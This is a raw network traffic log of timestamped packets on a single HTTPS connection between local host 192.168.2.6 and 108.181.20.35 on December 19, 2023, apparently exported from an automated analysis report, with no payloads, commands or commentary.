Dec 19, 2023 05:18:42.340403080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340410948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340420008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340429068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340475082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340492010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340501070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340501070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340506077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340519905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340547085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340559006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340598106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340598106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340603113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340610981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340611935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340635061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340637922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340646029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340665102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340687990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340702057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340729952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340729952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340735912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340750933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340770960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340799093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340799093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340799093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340804100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340820074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340826988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340835094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340857029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340861082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340900898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340918064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340918064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340918064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340938091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340955973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340967894 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340982914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340997934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341032982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341037035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341054916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341056108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341067076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341073990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341084003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341129065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341133118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341193914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341193914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.341204882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.341258049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.548743010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.548799992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.968754053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.968837976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:43.800748110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:43.800839901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.415399075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.415421963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.415433884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.415549994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.415556908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.415568113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.415683985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.415689945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.415782928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.548759937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.548774958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548788071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548799992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548868895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.548902988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.548909903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548919916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548932076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548942089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.548995972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549000978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549046993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549052000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549068928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549120903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549124956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549139977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549145937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549179077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549185038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549232960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549251080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549279928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549289942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549302101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549369097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549384117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549396992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549460888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549460888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549465895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549483061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549504995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549511909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549521923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549560070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549560070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549570084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549627066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549633026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549649000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549700022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549700022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549705982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549763918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549771070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549807072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549807072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549829960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549830914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549874067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549894094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549911022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549942970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549947977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549967051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.549973011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.549984932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550005913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550014019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550023079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550035000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550043106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550056934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550065994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550071001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550093889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550107956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550115108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550118923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550147057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550152063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550164938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550179958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550192118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550199032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550214052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550219059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550251007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550251007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550257921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550276995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550285101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550288916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550311089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550328970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550332069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550342083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550364017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550393105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550400972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550409079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550412893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550425053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550436020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550440073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550466061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550478935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550493002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550496101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550510883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550523043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550544977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550549030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550559998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550574064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550578117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550609112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550614119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550632000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550636053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550649881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550658941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550662041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550683022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550704002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550708055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550718069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550735950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550761938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550765991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550775051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550791025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550803900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550806999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.550832987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.550853968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.756742954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.756795883 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:44.968729019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:44.968836069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:45.400737047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:45.400863886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:46.236747026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:46.236824036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:47.896748066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:47.896816969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:48.926734924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:48.926759958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:48.926780939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:48.926834106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:48.926841021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:48.926851034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:48.926917076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:48.926923990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:48.926997900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087399960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087414980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087425947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087438107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087456942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087577105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087584019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087595940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087615967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087625980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087635994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087682962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087687969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087702990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087742090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087748051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087796926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087802887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087815046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087852001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087858915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087907076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087913990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087930918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.087946892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.087951899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088083982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088088989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088102102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088123083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088130951 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088135004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088146925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088197947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088221073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088232994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088253975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088269949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088330030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088336945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088376999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088381052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088388920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088422060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088428974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088462114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088479996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088499069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088499069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088511944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088521004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088541031 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088565111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088567019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088576078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088601112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088617086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088625908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088643074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088648081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088663101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088665009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088674068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088690042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088716984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088730097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088743925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088772058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088777065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088784933 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088824034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088830948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088845015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088872910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088876963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088897943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088898897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088912010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088917971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088932037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088948011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088978052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.088984013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.088996887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089027882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089031935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089041948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089054108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089062929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089066982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089080095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089091063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089112043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089116096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089126110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089139938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089145899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089171886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089175940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089195967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089210987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089217901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089221001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089240074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089250088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089256048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089274883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089282036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089289904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089297056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089304924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089329958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089346886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089349985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089355946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089374065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089397907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089401960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089430094 CET	49718	443	192.168.2.6	108.181.20.35
